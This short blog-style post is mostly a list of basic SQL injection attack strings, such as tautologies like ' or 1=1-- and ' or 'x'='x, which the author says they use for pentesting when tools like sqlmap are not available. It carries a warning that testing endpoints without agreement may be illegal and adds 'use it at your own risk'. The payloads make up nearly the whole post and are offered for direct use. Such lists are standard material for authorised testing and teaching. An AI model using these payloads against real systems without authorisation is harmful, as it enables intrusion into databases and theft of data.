Commonly used SQL injection attack strings

Photo by xkcd

Testing these inputs on endpoints, which you don’t have agreement with, may get you in jail, use it at your own risk. These are the ones I generally work with for basic sql injection vulnerabilities when pentester tools, such as sqlmap, are not around.

Update: Since then many much better basic sql injection starters are available.

`
‘ or 0=0 #
hi”) or (“a”=”a
hi’) or (‘a’=’a
Badvalue’
“or 0=0 #
‘ or a=a–
` OR `
or 0=0 #
” or “a”=”a
` OR
‘ or ‘x’=’x
‘) or (‘a’=’a
;
” or “x”=”x
“) or (“a”=”a
9,9,9
‘) or ‘x’=’x
hi” or “a”=”a
‘or 0=0 –
‘or 1=1–
hi” or “a”=”a
“or 0=0–
” or 1=1–
hi’ or 1=1–
or 0=0–
or 1=1–
hi’ or ‘a’=’a